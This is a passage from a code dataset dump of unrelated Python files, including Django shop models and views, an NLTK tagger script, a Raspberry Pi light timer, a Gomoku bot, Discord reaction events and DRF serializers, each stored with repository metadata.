django.shortcuts import reverse\n\nCATEGORY_CHOICES = (\n ('S', 'Shirt'),\n ('SW', 'Sport wear'),\n ('OW', 'Outwear')\n)\n\nLABEL_CHOICES = (\n ('P', 'primary'),\n ('S', 'secondary'),\n ('D', 'danger')\n)\n\n\nclass Item(models.Model):\n title = models.CharField(\n max_length=100, verbose_name='Название'\n )\n price = models.DecimalField(\n max_digits=6, decimal_places=2, verbose_name='Цена'\n )\n discount_price = models.DecimalField(\n max_digits=6, decimal_places=2, blank=True, null=True,\n verbose_name='Цена со скидкой'\n )\n category = models.CharField(\n choices=CATEGORY_CHOICES, max_length=2, verbose_name='Категория'\n )\n label = models.CharField(\n choices=LABEL_CHOICES, max_length=1, verbose_name='Метка'\n )\n slug = models.SlugField(verbose_name='Идентификатор')\n description = models.TextField(verbose_name='Описание')\n\n def __str__(self):\n return self.title\n\n def get_absolute_url(self):\n return reverse('core:product', kwargs={'slug': self.slug})\n\n def get_add_to_cart_url(self):\n return reverse('core:add-to-cart', kwargs={'slug': self.slug})\n\n def get_remove_from_cart_url(self):\n return reverse('core:remove-from-cart', kwargs={'slug': self.slug})\n\n class Meta:\n verbose_name = 'Товар'\n verbose_name_plural = 'Товары'\n\n\nclass OrderItem(models.Model):\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name='Пользователь'\n )\n item = models.ForeignKey(\n Item, on_delete=models.CASCADE, verbose_name='Товар'\n )\n quantity = models.IntegerField(\n default=1, verbose_name='Количество в заказе'\n )\n\n def __str__(self):\n return f'{self.item.title}: {self.quantity}'\n\n class Meta:\n verbose_name = 'Товар в заказе'\n verbose_name_plural = 'Товары в заказе'\n\n\nclass Order(models.Model):\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name='Пользователь'\n )\n items = models.ManyToManyField(OrderItem, verbose_name='Товары')\n start_date = models.DateTimeField(\n auto_now_add=True, verbose_name='Дата начала заказа'\n )\n ordered_date = models.DateTimeField(verbose_name='Дата формирования заказа')\n ordered = models.BooleanField(default=False, verbose_name='Заказ сделан')\n\n def __str__(self):\n return f'Заказ {self.user.username} {self.ordered_date}'\n\n class Meta:\n verbose_name = 'Заказ'\n verbose_name_plural = 'Заказы'\n","sub_path":"ecommerce/core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"431418694","text":"# -*- coding:utf-8 -*-\n###################\n# version 0.1\n# author 王节红,\n###################\n\n# 错误号 英文代码 中文描述 备注\nCONSTANT = {\n\n # 自动发包相关\n 100000: [\"Request from beidou return error status code\", u\"请求北斗服务器失败\"],\n 100001: [\"Request from beidou return data error\", u\"请求北斗服务器返回数据缺少'success'关键字\"],\n 100002: [\"Request from beidou return data type error\", u\"请求北斗服务器返回数据类型错误\"],\n 100003: [\"Request from beidou return package list throw exception\", u\"请求北斗服务器返回可用包列表出现异常\"],\n 100004: [\"Request type error\", u\"请求类型错误\"],\n 100005: [\"Parameter type error\", u\"参数类型错误\"],\n 100006: [\"Request url does not exist\", u\"请求URL不存在\"],\n 100007: [\"Request download package has existed\", u\"请求下载包已经存在下载目录中\"],\n 100008: [\"Check package md5 fail\", u\"检查包的MD5值失败\"],\n 100009: [\"Request download package is downloading\", u\"请求下载包正在下载中\"],\n 100010: [\"Get package MD5 fail\", u\"请求获取包的MD5值失败\"],\n 100011: [\"Request download package throw exception.\", u\"请求北斗下包出现异��\"],\n 100012: [\"Required field can not be empty\", u\"必填字段不能空\"],\n 100013: [\"param value error\", u\"参数取值错误\"],\n 100014: [\"Add new prepare package info throw exception\", u\"新增待发包信息出现异常\"],\n 100015: [\"Query aviliable package list empty\", u\"查询可用下载包列表返回为空\"],\n 100016: [\"Upload package fail\", u\"包上传失败\"],\n 100017: [\"Upload package throw exception\", u\"上传包出现异常\"],\n}\n\n\n#\ndef get_message(k=100100000, en='ch'):\n if not k:\n return None\n if en == 'ch':\n return CONSTANT.get(k)[1]\n elif en == 'en':\n return CONSTANT.get(k)[0]\n return CONSTANT.get(k)[1]\n\n","sub_path":"autopkg/errorcode.py","file_name":"errorcode.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"289494251","text":"from extensions.models import Extension\n\n__author__ = 'amucci'\n\nclass ExtensionsMiddleware(object):\n\n def process_request(self, request):\n extension_get = request.GET.get('extension', False)\n if \"admin\" not in request.path and extension_get:\n #check if the extension already exist\n try:\n extension_number = Extension.objects.get(number=extension_get)\n except Extension.DoesNotExist:\n extension_number = Extension()\n extension_number.number = extension_get\n extension_number.save()\n request.session['extension'] = extension_number","sub_path":"extensions/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"319259315","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,JsonResponse\nfrom django.conf import settings\nimport os\nfrom .models import *\nfrom django.core.paginator import *\nimport json\n# Create your views here.\n\ndef index(request):\n\n return render(request,'booktest/index.html')\n\ndef MyExp(request):\n a1 = int('abc')\n return HttpResponse(\"hello\")\n\ndef uploadPic(request):\n\n return render(request,'booktest/uploadPic.html')\n\ndef uploadHandle(request):\n\n pic1 = request.FILES['pic1']\n\n fname = '%s/cars/%s' % (settings.MEDIA_ROOT,pic1.name)\n picName = os.path.join(settings.MEDIA_ROOT,pic1.name)\n print(settings.MEDIA_ROOT)\n with open(picName,'wb+') as pic:\n for c in pic1.chunks():\n pic.write(c)\n\n return HttpResponse('' % pic1.name)\n\n\n#分页练习\ndef herolist(request,pindex):\n #判断pindex是否为空\n if pindex == '':\n pindex = '1'\n herolist = HeroInfo.objects.all()\n\n paginator = Paginator(herolist,5)\n page = paginator.page(int(pindex))\n\n context = {'page':page}\n\n return render(request,'booktest/herolist.html',context)\n\n#省市区选择\ndef area(request):\n\n #areaDate = Areas.objects.get(pk=130100)\n\n return render(request,'booktest/area.html')\n\ndef area2(request,id):\n id1 = int(id)\n\n if id1 == 0:\n data = AreaInfo.objects.filter(parea__isnull=True)\n else:\n data =[{}]\n\n list = []\n for area in data:\n list.append([area.id,area.title])\n\n\n data1 = {'data':list}\n print(data1)\n return JsonResponse(data1)\n","sub_path":"booktest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"316771053","text":"import numpy as np\nimport cv2\nfrom .cameramodels import PinholeCameraModel\nfrom .ground_projection_geometry import Point\nimport itertools\n\nclass Rectify:\n \"\"\"\n Handles the Rectification operations.\n \"\"\"\n\n def __init__(self, camera_info):\n self.ci = camera_info\n self.pcm = PinholeCameraModel()\n self.pcm.fromCameraInfo(self.ci)\n self._rectify_inited = False\n self._distort_inited = False\n\n\n\n def rectify_point(self, pixel):\n return Point(*list(self.pcm.rectifyPoint([pixel.x, pixel.y])))\n\n def _init_rectify_maps(self):\n W = self.pcm.width\n H = self.pcm.height\n mapx = np.ndarray(shape=(H, W, 1), dtype='float32')\n mapy = np.ndarray(shape=(H, W, 1), dtype='float32')\n mapx, mapy = cv2.initUndistortRectifyMap(self.pcm.K, self.pcm.D, self.pcm.R,\n self.pcm.P, (W, H),\n cv2.CV_32FC1, mapx, mapy)\n self.mapx = mapx\n self.mapy = mapy\n self._rectify_inited = True\n\n def rectify(self, cv_image_raw, interpolation=cv2.INTER_NEAREST):\n ''' Undistort an image.\n To be more precise, pass interpolation= cv2.INTER_CUBIC\n '''\n if not self._rectify_inited:\n self._init_rectify_maps()\n #\n # inter = cv2.INTER_NEAREST # 30 ms\n # inter = cv2.INTER_CUBIC # 80 ms\n # cv_image_rectified = np.zeros(np.shape(cv_image_raw))\n cv_image_rectified = np.empty_like(cv_image_raw)\n res = cv2.remap(cv_image_raw, self.mapx, self.mapy, interpolation,\n cv_image_rectified)\n return res\n\n def distort(self, rectified):\n if not self._rectify_inited:\n self._init_rectify_maps()\n if not self._distort_inited:\n self.rmapx, self.rmapy = invert_map(self.mapx, self.mapy)\n self._distort_inited = True\n distorted = np.zeros(np.shape(rectified))\n res = cv2.remap(rectified, self.rmapx, self.rmapy, cv2.INTER_NEAREST, distorted)\n return res\n\n def rectify_full(self, cv_image_raw, interpolation=cv2.INTER_NEAREST, ratio=1):\n '''\n Undistort an image by maintaining the proportions.\n To be more precise, pass interpolation= cv2.INTER_CUBIC\n Returns the new camera matrix as well.\n '''\n W = int(self.pcm.width * ratio)\n H = int(self.pcm.height * ratio)\n # mapx = np.ndarray(shape=(H, W, 1), dtype='float32')\n # mapy = np.ndarray(shape=(H, W, 1), dtype='float32')\n print('K: %s' % self.pcm.K)\n print('P: %s' % self.pcm.P)\n\n # alpha = 1\n # new_camera_matrix, validPixROI = cv2.getOptimalNewCameraMatrix(self.pcm.K, self.pcm.D, (H, W), alpha)\n # print('validPixROI: %s' % str(validPixROI))\n\n # Use the same camera matrix\n new_camera_matrix = self.pcm.K.copy()\n new_camera_matrix[0, 2] = W / 2\n new_camera_matrix[1, 2] = H / 2\n print('new_camera_matrix: %s' % new_camera_matrix)\n mapx, mapy = cv2.initUndistortRectifyMap(self.pcm.K, self.pcm.D, self.pcm.R,\n new_camera_matrix, (W, H),\n cv2.CV_32FC1)\n cv_image_rectified = np.empty_like(cv_image_raw)\n res = cv2.remap(cv_image_raw, mapx, mapy, interpolation,\n cv_image_rectified)\n return new_camera_matrix, res\n\n def invert_map(mapx, mapy):\n H, W = mapx.shape[0:2]\n rmapx = np.empty_like(mapx)\n rmapx.fill(np.nan)\n rmapy = np.empty_like(mapx)\n rmapy.fill(np.nan)\n\n for y, x in itertools.product(range(H), range(W)):\n tx = mapx[y, x]\n ty = mapy[y, x]\n\n tx = int(np.round(tx))\n ty = int(np.round(ty))\n\n if (0 <= tx < W) and (0 <= ty < H):\n rmapx[ty, tx] = x\n rmapy[ty, tx] = y\n\n # fill holes\n # if False:\n\n fill_holes(rmapx, rmapy)\n\n # D = 4\n # for y, x in itertools.product(range(H), range(W)):\n # v0 = max(y-D, 0)\n # v1 = max(y+D, H-1)\n # u0 = max(x-D, 0)\n # u1 = max(x+D, W-1)\n #\n # rmapx[y,x] = np.median(rmapx[v0:v1,u0:u1].flatten())\n # rmapy[y,x] = np.median(rmapy[v0:v1,u0:u1].flatten())\n\n return rmapx, rmapy\n\n def fill_holes(rmapx, rmapy):\n H, W = rmapx.shape[0:2]\n\n nholes = 0\n\n R = 2\n F = R * 2 + 1\n\n def norm(x):\n return np.hypot(x[0], x[1])\n\n deltas0 = [(i - R - 1, j - R - 1) for i, j in itertools.product(range(F), range(F))]\n deltas0 = [x for x in deltas0 if norm(x) <= R]\n deltas0.sort(key=norm)\n\n def get_deltas():\n # deltas = list(deltas0)\n #\n return deltas0\n\n holes = set()\n\n for i, j in itertools.product(range(H), range(W)):\n if np.isnan(rmapx[i, j]):\n holes.add((i, j))\n\n while holes:\n nholes = len(holes)\n nholes_filled = 0\n\n for i, j in list(holes):\n # there is nan\n nholes += 1\n for di, dj in get_deltas():\n u = i + di\n v = j + dj\n if (0 <= u < H) and (0 <= v < W):\n if not np.isnan(rmapx[u, v]):\n rmapx[i, j] = rmapx[u, v]\n rmapy[i, j] = rmapy[u, v]\n nholes_filled += 1\n holes.remove((i, j))\n break\n\n # print('holes %s filled: %s' % (nholes, nholes_filled))\n if nholes_filled == 0:\n break","sub_path":"packages/fused_localization/src/utils/rectification.py","file_name":"rectification.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"155472555","text":"import nltk\nimport pickle\n\n'''s= \" HCL G Sda\"\nsen = nltk.word_tokenize(s)\nprint(sen)\npart = nltk.pos_tag(sen)\nprint (part)'''\n'''\ndef learnDefault(sen):\n word = nltk.word_tokenize(sen)\n tagger = nltk.DefaultTagger(\"NN\")\n pos = tagger.tag(word)\n print ('1')\n print (pos)\n aa\n\ndef learnE(sen):\n custom = [(r'.*ing$','Adjective'),\n (r'.*ly$','Adverb'),\n (r'.*ion$','Noun'),\n (r'.*ate$|.*en|is$','Verb')]\n tagger = nltk.RegexpTagger(custom)\n word = nltk.word_tokenize(sen)\n pos = tagger.tag(word)\n print ('2')\n print(pos)\n\ndef learnL(sen):\n mapping = {'.':'.','place':'NN','on':'IN','earth':'NN','Mysore':'NNP','is':'VBZ','an':'DT','amazing':'JJ'}\n tagger = nltk.UnigramTagger(model = mapping)\n word = nltk.word_tokenize(sen)\n pos = tagger.tag(word)\n print ('3')\n print(pos)\n'''\ndef sampleData():\n return [\"Palani is a Devotional place on earth. I Have visited palani 2 times\",\n \"Devakottai is a Traditional place on earth. I Have visited many times\"\n \"Pudukkottai is an amazing place on earth. I live there\"\n \"Chennai is an amazing place on earth, which is a capital of TN\"]\n\ndef buildDictionary():\n dictionary = {}\n for sent in sampleData():\n pos = nltk.pos_tag(nltk.word_tokenize (sent))\n for tag in pos:\n value= tag[0]\n pos = tag[1]\n dictionary[value]=pos\n return dictionary\n\ndef save(tagger,filename):\n fileH = open(filename,\"wb\")\n pickle.dump(tagger,fileH)\n fileH.close()\n\ndef savet(filename):\n tagger = nltk.UnigramTagger (model = buildDictionary())\n save(tagger,filename)\n\ndef load(filename):\n return pickle.load(open(filename,'rb'))\n\n\nsen = \"Mysore is an amazing place on earth. I Have visited mysore 10 times\"\nfilename = \"mytagger.pickle\"\n\nsavet(filename)\nmytagger= load(filename)\nprint(mytagger.tag(nltk.word_tokenize (sen)))\n\n'''learnDefault(sen)\nlearnE(sen)\nlearnL(sen)'''\n","sub_path":"a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"420430902","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time, datetime, json\nfrom function import get_config, sleeptime, kHr, kMin, kSec, LIGHT_GPIO\nimport RPi.GPIO as GPIO\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(LIGHT_GPIO, GPIO.OUT) #设置pin33负责输出电压\nconfigfile = '/home/pi/sil/config.json'\n\ndef DoYourWork(): # 你的工作函数\n print('Now it\\'s the time to work!')\n if GPIO.input(LIGHT_GPIO) == 1:\n GPIO.output(LIGHT_GPIO,0)\ndef RestYourSelf(): # 你的休息函数\n print('It\\'s %s,Now it\\'s the time to take a rest!'%datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n if GPIO.input(LIGHT_GPIO) == 0:\n GPIO.output(LIGHT_GPIO,1)\ndef T1LaterThanT2(time1,time2): # 根据给定时分秒的两个时间,比较其先后关系\n # t1 < t2, false, t1 >= t2, true\n if len(time1) != 3 or len(time2) != 3:\n raise Exception('# Error: time format error!')\n T1 = time1[kHr]*3600 + time1[kMin]*60 + time1[kSec] # s\n T2 = time2[kHr]*3600 + time2[kMin]*60 + time2[kSec] # s\n if T1 < T2:\n return False\n else:\n return True\ndef RunNow(): #判断现在是否工作\n mytime = datetime.datetime.now()\n currtime = [mytime.hour, mytime.minute, mytime.second]\n# if (T1LaterThanT2(currtime, starttime[kPeriod1]) and (not T1LaterThanT2(currtime, endtime[kPeriod1]))) or (T1LaterThanT2(currtime, starttime[kPeriod2]) and (not T1LaterThanT2(currtime, endtime[kPeriod2]))):\n if (T1LaterThanT2(currtime, starttime) and (not T1LaterThanT2(currtime, endtime))):\n return True\n else:\n return False\n\nif __name__==\"__main__\":\n while True:\n output = get_config(configfile)\n str_json = output['start_time']\n starttime = map(int,str_json.split(':'))\n starttime.append(0)\n str_json = output['stop_time']\n endtime = map(int,str_json.split(':'))\n endtime.append(0)\n auto = output['light_auto']\n open_light = output['light_open']\n if len(starttime) != len(endtime):\n raise Exception('# Error: the run time format is not correct!')\n\n if auto:\n print('auto mode')\n if RunNow():\n DoYourWork()\n else:\n RestYourSelf()\n else:\n print('manual mode')\n if open_light:\n DoYourWork()\n else:\n RestYourSelf()\n time.sleep(sleeptime) # sleep for 5 s\n","sub_path":"sil/ontime.py","file_name":"ontime.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"527383442","text":"__all__ = ('ReactionAddEvent', 'ReactionDeleteEvent', )\n\nfrom ...backend.futures import Task\n\nfrom ..core import KOKORO\nfrom ..bases import EventBase\nfrom ..permission.permission import PERMISSION_MASK_MANAGE_MESSAGES\nfrom ..exceptions import DiscordException, ERROR_CODES\n\n\nasync def _delete_reaction_with_task(reaction_add_event, client):\n \"\"\"\n Removes the given reaction event's emoji from it's message if applicable. Expected error codes are silenced.\n \n Parameters\n ----------\n reaction_add_event : ``ReactionAddEvent`` or ``ReactionDeleteEvent``\n The respective reaction event.\n client : ``Client``\n The client who should remove the reaction if applicable.\n \"\"\"\n try:\n await client.reaction_delete(reaction_add_event.message, reaction_add_event.emoji, reaction_add_event.user)\n except BaseException as err:\n \n if isinstance(err, ConnectionError):\n # no internet\n return\n \n if isinstance(err, DiscordException):\n if err.code in (\n ERROR_CODES.unknown_message, # message deleted\n ERROR_CODES.unknown_channel, # channel deleted\n ERROR_CODES.missing_access, # client removed\n ERROR_CODES.missing_permissions, # permissions changed meanwhile\n ):\n return\n \n await client.events.error(client, f'_delete_reaction_with_task called from {reaction_add_event!r}', err)\n return\n\n\nclass ReactionAddEvent(EventBase):\n \"\"\"\n Represents a processed `MESSAGE_REACTION_ADD` dispatch event.\n \n Attributes\n ----------\n message : ``Message`` or ``MessageRepr``\n The message on what the reaction is added.\n \n If `HATA_ALLOW_DEAD_EVENTS` environmental variable is given as `True`, then message might be given as\n ``MessageRepr`` instance, if the respective event was received on an uncached message.\n emoji : ``Emoji``\n The emoji used as reaction.\n user : ``User`` or ``Client``\n The user who added the reaction.\n \n Class Attributes\n ----------------\n DELETE_REACTION_OK : `int` = `0`\n Returned by ``.delete_reaction_with`` when the client has permission to execute the reaction remove.\n DELETE_REACTION_PERM : `int` = `1`\n Returned by ``.delete_reaction_with`` when the client has no permission to execute the reaction remove.\n DELETE_REACTION_NOT_ADDED : `int` = `2`\n Returned by ``.delete_reaction_with`` when the client has permission to execute the reaction remove, but\n it cannot, because the reaction is not added on the respective message. Not applicable for\n ``ReactionAddEvent``.\n \"\"\"\n __slots__ = ('message', 'emoji', 'user')\n def __new__(cls, message, emoji, user):\n \"\"\"\n Creates a new ``ReactionAddEvent`` instance (or it's subclass's instance).\n \n Parameters\n ----------\n message : ``Message`` or ``MessageRepr``\n The respective message.\n emoji : ``Emoji``\n The emoji used.\n user : ``User`` or ``Client``\n The user who reacted.\n \"\"\"\n self = object.__new__(cls)\n self.message = message\n self.emoji = emoji\n self.user = user\n return self\n \n def __repr__(self):\n \"\"\"Returns the representation of the event.\"\"\"\n return (f'<{self.__class__.__name__} message={self.message!r}, emoji={self.emoji!r}, '\n f'user={self.user.full_name!r}>')\n \n def __len__(self):\n \"\"\"Helper for unpacking if needed.\"\"\"\n return 3\n \n def __iter__(self):\n \"\"\"\n Unpacks the event.\n \n This method is a generator.\n \"\"\"\n yield self.message\n yield self.emoji\n yield self.user\n \n def delete_reaction_with(self, client):\n \"\"\"\n Removes the added reaction.\n \n Parameters\n ----------\n client : ``Client``\n The client, who will execute the action.\n \n Returns\n -------\n result : `int`\n The identifier number of the action what will be executed.\n \n Can be one of the following:\n +-----------------------+-------+\n | Respective name | Value |\n +=======================+=======+\n | DELETE_REACTION_OK | 0 |\n +-----------------------+-------+\n | DELETE_REACTION_PERM | 1 |\n +-----------------------+-------+\n \"\"\"\n if self.message.channel.cached_permissions_for(client)&PERMISSION_MASK_MANAGE_MESSAGES:\n Task(_delete_reaction_with_task(self, client), KOKORO)\n result = self.DELETE_REACTION_OK\n else:\n result = self.DELETE_REACTION_PERM\n \n return result\n \n DELETE_REACTION_OK = 0\n DELETE_REACTION_PERM = 1\n DELETE_REACTION_NOT_ADDED = 2\n \n\nclass ReactionDeleteEvent(ReactionAddEvent):\n \"\"\"\n Represents a processed `MESSAGE_REACTION_REMOVE` dispatch event.\n \n Attributes\n ----------\n message : ``Message`` or ``MessageRepr``\n The message from what the reaction was removed.\n \n If `HATA_ALLOW_DEAD_EVENTS` environmental variable is given as `True`, then message might be given as\n ``MessageRepr`` instance, if the respective event was received on an uncached message.\n emoji : ``Emoji``\n The removed emoji.\n user : ``User`` or ``Client``\n The user who's reaction was removed.\n \n Class Attributes\n ----------------\n DELETE_REACTION_OK : `int` = `0`\n Returned by ``.delete_reaction_with`` when the client has permission to execute the reaction remove. Not\n applicable on ``ReactionDeleteEvent``.\n DELETE_REACTION_PERM : `int` = `1`\n Returned by ``.delete_reaction_with`` when the client has no permission to execute the reaction remove.\n DELETE_REACTION_NOT_ADDED : `int` = `2`\n Returned by ``.delete_reaction_with`` when the client has permission to execute the reaction remove, but\n it cannot, because the reaction is not added on the respective message.\n \"\"\"\n __slots__ = ReactionAddEvent.__slots__\n \n def delete_reaction_with(self, client):\n \"\"\"\n Removes the added reaction. Because the event is ``ReactionDeleteEvent``, it will not remove any reaction, but\n only check the permissions.\n \n Parameters\n ----------\n client : ``Client``\n The client, who will execute the action.\n \n Returns\n -------\n result : `int`\n The identifier number of the action what will be executed.\n \n Can be one of the following:\n +---------------------------+-------+\n | Respective name | Value |\n +===========================+=======+\n | DELETE_REACTION_PERM | 1 |\n +---------------------------+-------+\n | DELETE_REACTION_NOT_ADDED | 2 |\n +---------------------------+-------+\n \"\"\"\n if self.message.channel.cached_permissions_for(client)&PERMISSION_MASK_MANAGE_MESSAGES:\n result = self.DELETE_REACTION_NOT_ADDED\n else:\n result = self.DELETE_REACTION_PERM\n \n return result\n","sub_path":"hata/discord/emoji/event_types.py","file_name":"event_types.py","file_ext":"py","file_size_in_byte":7421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"578600216","text":"import os\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]='/home/botond/Workspaces/MyProject58647-616f3e11b00f.json'\nfrom oauth2client.client import GoogleCredentials\nfrom apiclient.discovery import build\nfrom google.cloud import translate\n\ndef detect_language(text):\n try:\n #print(len(text))\n if len(text) > 2000:\n text = text[:250]\n credentials = GoogleCredentials.get_application_default()\n \"\"\"Detects the text's language.\"\"\"\n service = build('language', 'v1', credentials=credentials)\n translate_client = translate.Client()\n\n # Text can also be a sequence of strings, in which case this method\n # will return a sequence of results for each text.\n result = translate_client.detect_language(text)\n\n print('Text: {}'.format(text))\n print('Confidence: {}'.format(result['confidence']))\n print('Language: {}'.format(result['language']))\n language = result['language']\n confidence = result['confidence']\n if language == 'en' and int(confidence) == 1:\n print(\"in if\")\n #print(language)\n return True\n else:\n print(language, confidence)\n #print(\"False\")\n return False\n except:\n return False","sub_path":"language_checker.py","file_name":"language_checker.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"37383556","text":"import sys\nfrom board import Board, Stone\nfrom rule import Renju\nfrom brain import Brain\n\n\n\n################################################################################\n# Global Values\n################################################################################\nmBoard = Board(size=15, rule=Renju())\nmBrain = Brain()\nmyStone = Stone.NONE\nopStone = Stone.NONE\n################################################################################\n\n\ndef start(cmd):\n boardSize = int(cmd[1])\n if boardSize is not 15:\n pipeWrite('ERROR Unsupport size of board, supported size is 15!')\n return\n\n mBoard.init(size=boardSize)\n\n global myStone, opStone\n myStone = Stone.WHITE\n opStone = Stone.BLACK\n pipeWrite('OK')\n\n\ndef begin(cmd):\n global myStone, opStone\n myStone = Stone.BLACK\n opStone = Stone.WHITE\n\n mid = mBoard.size / 2\n if mBoard.putStone(mid, mid, myStone) is False:\n pipeWrite('ERROR not valid begin position %d,%d' % (mid, mid))\n return\n pipeWrite(\"%d,%d\" % (mid, mid))\n\n\ndef turn(cmd):\n r, c = cmd[1].split(',')\n r, c = int(r), int (c)\n if mBoard.putStone(r, c, opStone) is False:\n pipeWrite('ERROR not valid turn input %s,%s' % (r, c))\n return\n \n # mBoard.debugPrint()\n # r, c = raw_input().split(',')\n # r, c = int(r), int (c)\n r, c = mBrain.predict(mBoard, myStone)\n if mBoard.putStone(r, c, myStone) is False:\n pipeWrite('ERROR not valid predict result %s,%s' % (r, c))\n return\n pipeWrite(\"%d,%d\" % (r, c))\n # mBoard.debugPrint()\n \n\ndef board(cmd):\n mBoard.init()\n isFirst = True\n whostone = {1: None, 2: None}\n\n while True:\n cmd = raw_input()\n if cmd == 'DONE':\n break \n r, c, who = cmd.split(',')\n r, c, who = int(r), int(c), int(who)\n\n if isFirst:\n isFirst = False\n global myStone, opStone\n if who is 1:\n myStone, opStone = Stone.BLACK, Stone.WHITE\n else:\n myStone, opStone = Stone.WHITE, Stone.BLACK \n whostone[1], whostone[2] = myStone, opStone\n\n if mBoard.putStone(r, c, whostone[who]) is False:\n pipeWrite('ERROR not valid board input %s,%s,%s' % (r, c, who))\n return\n\n r, c = mBrain.predict(mBoard, myStone)\n if mBoard.putStone(r, c, myStone) is False:\n pipeWrite('ERROR not valid predict result %s,%s' % (r, c))\n return\n pipeWrite(\"%d,%d\" % (r, c))\n\n\ndef about(cmd):\n pipeWrite('BeomPaGo v1.0, Beomjoon Lee')\n\n\ndef end(cmd):\n sys.exit(0)\n\n\ndef info(cmd):\n cmdInfo = {\n 'MAX_MEMORY': info_max_memory, \n 'TIMEOUT_MATCH': info_timeout_match, \n 'TIMEOUT_TURN': info_timeout_turn,\n 'RULE': info_rule,\n 'GAME_TYPE': info_game_type,\n 'TIME_LEFT': info_time_left,\n 'FOLDER': info_folder,\n 'EVALUATE': info_evaluate\n }\n\n cmdInfo.get(cmd[1], unknownCmd)(cmd[2])\n \n\ndef info_max_memory(mem):\n if int(mem) < 0:\n pipeWrite('ERROR Unsupport range of max_memory!')\n return\n\n\ndef info_timeout_match(time):\n if int(time) < 0:\n pipeWrite('ERROR Unsupport range of timeout_match!')\n return \n\n\ndef info_timeout_turn(time):\n if int(time) < 0:\n pipeWrite('ERROR Unsupport range of timeout_turn!')\n return\n\n\ndef info_rule(type):\n if int(type) is not 4:\n pipeWrite('ERROR Unsupport rule, supported rule is renju & single game!')\n return\n mBoard.rule = Renju()\n\n\ndef info_game_type(tmp=None):\n return\n\n\ndef info_time_left(tmp=None):\n return\n\n\ndef info_folder(path):\n mBrain.xl_path = path\n\n\ndef info_evaluate(tmp=None):\n return\n\n\ndef unknownCmd(tmp=None):\n pipeWrite('ERROR Unknown Command!')\n\n\ndef pipeWrite(str):\n sys.stdout.write(str)\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n\n###############################################################################\n# Main\n###############################################################################\nif __name__ == \"__main__\":\n cmdMain = {\n 'INFO': info,\n 'START': start, \n 'BEGIN': begin, \n 'TURN': turn, \n 'BOARD': board,\n 'ABOUT': about, \n 'END': end\n }\n\n while True:\n cmd = raw_input().upper()\n # pipeWrite('MESSAGE input cmd: %s' % cmd)\n cmd = cmd.split()\n cmdMain.get(cmd[0], unknownCmd)(cmd)\n###############################################################################\n","sub_path":"pbrain-pipe.py","file_name":"pbrain-pipe.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"643111911","text":"\"\"\"\r\nproblem 187. Repeated DNA Sequences\r\nhttps://leetcode.com/problems/repeated-dna-sequences/\r\n\r\nsolution:\r\n\r\n\"\"\"\r\nclass Solution(object):\r\n def findRepeatedDnaSequences(self, s):\r\n \"\"\"\r\n :type s: str\r\n :rtype: List[str]\r\n \"\"\"\r\n ans = []\r\n if len(s) < 11:\r\n \treturn ans\r\n table = dict()\r\n start = s[:10]\r\n table[start] = 1\r\n for char in s[10:]:\r\n \tstart = start[1:] + char\r\n \tif start in table:\r\n \t\tif table[start] < 2:\r\n \t\t\ttable[start] += 1\r\n \t\t\tans.append(start)\r\n \telse:\r\n \t\ttable[start] = 1\r\n return ans","sub_path":"P0187.py","file_name":"P0187.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"362652989","text":"from django.contrib.auth.models import User, Group \nfrom rest_framework import serializers\nfrom . import models\n\n\n\nclass CommentSerializer(serializers.ModelSerializer): \n id = serializers.ReadOnlyField()\n class Meta:\n model = models.Comment\n fields = ('id','user_id','upload_id','comment')\n\n\nclass UploadSerializer(serializers.ModelSerializer): \n id = serializers.ReadOnlyField()\n comments = serializers.SlugRelatedField(many=True,read_only=True,slug_field='comment')\n \n class Meta:\n model = models.Upload\n fields = ('id','user_id','image_file','caption','location','latitude','longitude','comments')\n\n\nclass LikeSerializer(serializers.ModelSerializer): \n id = serializers.ReadOnlyField()\n class Meta:\n model = models.Like\n fields = ('id','user_id','upload_id')\n\nclass FollowSerializer(serializers.ModelSerializer): \n id = serializers.ReadOnlyField()\n class Meta:\n model = models.Follow\n fields = ('id','user_id','follower_id')\n\nclass UserSerializer(serializers.ModelSerializer): \n id = serializers.ReadOnlyField()\n class Meta:\n model = User\n fields = ('id', 'username')\n\n\nfrom actstream.models import Action\n\nclass GenericRelatedField(serializers.Field):\n \n def to_representation(self, value):\n if isinstance(value, models.Comment):\n return CommentSerializer(value).data\n if isinstance(value, models.Like):\n return LikeSerializer(value).data\n if isinstance(value, models.Upload):\n return UploadSerializer(value).data\n if isinstance(value, models.Follow):\n return 